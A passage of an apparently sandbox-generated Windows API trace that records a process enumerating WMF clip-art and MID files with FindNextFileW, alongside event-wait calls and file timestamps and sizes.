ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c14, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00932_.WMF", cAlternateFileName="")) returned 1 [0181.964] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7d46d00, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7d46d00, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00985_.WMF", cAlternateFileName="")) returned 1 [0181.964] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOAT.WMF", cAlternateFileName="")) returned 1 [0181.964] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x714c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOATINST.WMF", cAlternateFileName="")) returned 1 [0181.964] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77641800, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77641800, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00076_.WMF", cAlternateFileName="")) returned 1 [0181.965] ResetEvent (hEvent=0x174) returned 1 [0181.965] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0181.967] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfadcd00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfadcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00078_.WMF", cAlternateFileName="")) returned 1 [0181.967] ResetEvent (hEvent=0x174) returned 1 [0181.967] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0182.093] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6395c300, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6395c300, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00092_.WMF", cAlternateFileName="")) returned 1 [0182.093] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60023c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60023c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x94a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00100_.WMF", cAlternateFileName="")) returned 1 [0182.093] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c6eb500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c6eb500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00135_.WMF", cAlternateFileName="")) returned 1 [0182.093] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5295200, ftCreationTime.dwHighDateTime=0x1bd4b23, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5295200, ftLastWriteTime.dwHighDateTime=0x1bd4b23, nFileSizeHigh=0x0, nFileSizeLow=0x876, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00136_.WMF", cAlternateFileName="")) returned 1 [0182.093] ResetEvent (hEvent=0x174) returned 1 [0182.093] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0182.096] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99a2a00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99a2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00145_.WMF", cAlternateFileName="")) returned 1 [0182.096] ResetEvent (hEvent=0x174) returned 1 [0182.096] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0182.111] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ca47100, ftCreationTime.dwHighDateTime=0x1bd4af0, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ca47100, ftLastWriteTime.dwHighDateTime=0x1bd4af0, nFileSizeHigh=0x0, nFileSizeLow=0x20ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00174_.WMF", cAlternateFileName="")) returned 1 [0182.111] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f738600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f738600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x1370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00184_.WMF", cAlternateFileName="")) returned 1 [0182.111] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c60b600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c60b600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x31f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00186_.WMF", cAlternateFileName="")) returned 1 [0182.111] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9efd600, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9efd600, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00200_.WMF", cAlternateFileName="")) returned 1 [0182.111] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54fadc00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54fadc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00224_.WMF", cAlternateFileName="")) returned 1 [0182.111] ResetEvent (hEvent=0x174) returned 1 [0182.112] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0182.123] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62c55700, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62c55700, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00438_.WMF", cAlternateFileName="")) returned 1 [0182.123] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276b5e00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x276b5e00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00439_.WMF", cAlternateFileName="")) returned 1 [0182.124] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x263a3100, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x263a3100, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x15cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00440_.WMF", cAlternateFileName="")) returned 1 [0182.124] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25090400, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25090400, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00441_.WMF", cAlternateFileName="")) returned 1 [0182.124] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d7d700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23d7d700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00442_.WMF", cAlternateFileName="")) returned 1 [0182.124] ResetEvent (hEvent=0x174) returned 1 [0182.124] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0182.137] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7ffa00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb7ffa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00443_.WMF", cAlternateFileName="")) returned 1 [0182.137] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a6aa00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a6aa00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00444_.WMF", cAlternateFileName="")) returned 1 [0182.137] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21757d00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21757d00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00445_.WMF", cAlternateFileName="")) returned 1 [0182.137] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00453_.WMF", cAlternateFileName="")) returned 1 [0182.137] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ba86700, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ba86700, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01080_.WMF", cAlternateFileName="")) returned 1 [0182.137] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d186600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d186600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01603_.WMF", cAlternateFileName="")) returned 1 [0182.138] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc31ccd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc31ccd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xda6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01634_.WMF", cAlternateFileName="")) returned 1 [0182.138] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63bebd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63bebd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01635_.WMF", cAlternateFileName="")) returned 1 [0182.138] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe440e600, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe440e600, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01636_.WMF", cAlternateFileName="")) returned 1 [0182.138] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910b6b00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x910b6b00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xf6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01637_.WMF", cAlternateFileName="")) returned 1 [0182.138] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd16ae900, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd16ae900, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x292a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01638_.WMF", cAlternateFileName="")) returned 1 [0182.138] ResetEvent (hEvent=0x174) returned 1 [0182.138] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0182.143] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c32800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c32800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x108c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01639_.WMF", cAlternateFileName="")) returned 1 [0182.143] ResetEvent (hEvent=0x174) returned 1 [0182.143] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0182.282] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x246a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CARBN_01.MID", cAlternateFileName="")) returned 1 [0182.282] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xceceee00, ftCreationTime.dwHighDateTime=0x1c9b81d, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xceceee00, ftLastWriteTime.dwHighDateTime=0x1c9b81d, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="CG1606.WMF", cAlternateFileName="")) returned 1 [0182.282] ResetEvent (hEvent=0x174) returned 1 [0182.283] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0182.288] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC1.WMF", cAlternateFileName="")) returned 1 [0182.288] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC2.WMF", cAlternateFileName="")) returned 1 [0182.288] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIP.WMF", cAlternateFileName="")) returned 1 [0182.288] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMNTY_01.MID", cAlternateFileName="")) returned 1 [0182.288] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANE.WMF", cAlternateFileName="")) returned 1 [0182.288] ResetEvent (hEvent=0x174) returned 1 [0182.288] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0182.294] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x60609cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0xc18a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANINST.WMF", cAlternateFileName="")) returned 1 [0182.294] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUP.WMF", cAlternateFileName="")) returned 1 [0182.294] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUPINST.WMF", cAlternateFileName="")) returned 1 [0182.294] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00117_.WMF", cAlternateFileName="")) returned 1 [0182.294] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a43700, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6a43700, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00121_.WMF", cAlternateFileName="")) returned 1 [0182.294] ResetEvent (hEvent=0x174) returned 1 